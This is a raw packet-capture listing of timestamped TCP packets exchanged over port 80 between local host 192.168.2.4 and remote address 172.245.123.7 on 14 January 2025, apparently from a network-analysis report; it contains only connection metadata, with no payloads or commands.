Jan 14, 2025 06:13:00.543684006 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.543694019 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.543703079 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.543724060 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.543754101 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.544418097 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.544435024 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.544451952 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.544456005 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.544469118 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.544477940 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.544486046 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.544507027 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.544507027 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.544536114 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.545156002 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.545171976 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.545186996 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.545202017 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.545207024 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.545221090 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.545228958 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.545244932 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.545274019 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.546030998 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.546047926 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.546062946 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.546080112 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.546108961 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.546108961 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.547643900 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.547703028 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.631567001 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.631597996 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.631613970 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.631630898 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.631623983 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.631645918 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.631661892 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.631695986 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.631695986 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.631695986 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.631695986 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.631695986 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.631757975 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.631782055 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.631798029 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.631813049 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.631813049 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.631829023 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.631839991 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.631839991 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.631865978 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.631865978 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.632077932 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.632175922 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.632190943 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.632205009 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.632220030 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.632226944 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.632236958 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.632299900 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.632299900 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.632301092 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.632550001 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.632565022 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.632580996 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.632596970 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.632606030 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.632612944 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.632623911 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.632644892 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.632654905 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.632672071 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.632678986 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.632688046 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.632699966 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.632705927 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.632716894 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.632723093 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.632740021 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.632744074 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.632744074 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.632755995 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.632766008 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.632774115 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.632795095 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.632795095 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.632813931 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.633605957 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.633621931 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.633636951 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.633651972 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.633668900 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.633682966 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.633683920 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.633699894 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.633707047 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.633714914 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.633727074 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.633733988 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.633750916 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.633752108 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.633769035 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.633765936 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.633785009 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.633793116 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.633793116 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.633801937 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.633814096 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.633824110 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.633842945 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.633842945 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.634006977 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.634403944 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.634418964 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.634479046 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.678169966 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.678185940 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.678201914 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.678236008 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.678287983 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.720350027 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.720366001 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.720381021 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.720423937 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.720458984 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.720597982 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.720619917 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.720634937 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.720647097 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.720649958 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.720669031 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.720673084 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.720685005 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.720695019 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.720702887 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.720717907 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.720719099 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.720733881 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.720760107 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.720761061 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.720778942 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.720803022 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.720818996 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.720834017 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.720849991 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.720865011 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.720870972 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.720870972 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.720884085 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.720896959 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.720917940 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.721024036 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.721127033 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.721174002 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.721178055 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.721189976 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.721215963 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.721216917 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.721232891 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.721237898 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.721249104 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.721259117 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.721278906 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.721293926 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.721595049 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.721610069 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.721623898 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.721638918 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.721646070 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.721664906 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.721668959 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.721668959 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.721682072 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.721689939 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.721698046 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.721714973 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.721719027 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.721731901 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.721735954 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.721748114 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.721757889 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.721757889 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.721765041 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.721780062 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.721790075 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.721790075 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.721796036 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.721812963 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.721817970 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.721817970 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.721829891 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.721837997 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.721879005 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.721879005 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.722526073 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.722541094 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.722556114 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.722570896 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.722579956 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.722587109 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.722604036 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.722604036 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.722620964 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.722625971 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.722635984 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.722652912 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.722652912 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.722668886 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.722667933 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.722685099 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.722696066 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.722696066 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.722702980 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.722723007 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.722723961 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.722742081 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.723177910 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.723202944 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.723218918 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.723231077 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.723234892 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.723251104 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.723254919 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.723254919 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.723267078 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.723275900 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.723284006 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.723299026 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.723304987 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.723304987 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.723323107 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.723328114 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.723340988 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.723357916 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.723372936 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.723376036 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.723376989 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.723376989 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.723391056 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.723407030 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.723411083 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.723411083 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.723424911 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.723432064 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.723443031 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.723453045 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.723473072 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.723491907 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.724119902 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.724134922 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.724149942 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.724169016 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.724170923 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.724189043 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.724193096 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.724193096 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.724205017 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.724221945 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.724221945 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.724222898 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.724236965 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.724244118 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.724253893 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.724267006 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.724271059 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.724291086 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.724294901 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.724294901 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.724303961 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.724323988 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.724323988 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.724343061 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.766803980 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.766827106 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.766843081 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.766859055 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.766875982 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.766889095 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.766977072 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.766977072 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.766977072 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.766977072 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.815568924 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.815593958 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.815618992 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.815633059 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.815646887 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.815661907 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.815676928 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.815691948 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.815707922 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.815723896 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.815748930 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.815743923 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.815743923 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.815745115 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.815745115 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.815745115 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.815745115 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.815745115 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.815745115 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.815767050 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.815851927 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.815853119 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.815853119 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.815853119 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.815877914 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.815892935 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.815908909 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.815923929 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.815936089 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.815939903 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.815959930 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.815979958 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.816087008 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.816101074 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.816116095 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.816131115 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.816143036 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.816179991 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.816179991 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.816240072 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.816255093 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.816268921 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.816276073 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.816302061 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.816302061 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.816340923 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.816356897 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.816371918 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.816381931 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.816387892 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.816405058 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.816405058 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.816421032 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.816430092 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.816430092 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.816437006 CET	80	49730	172.245.123.7	192.168.2.4
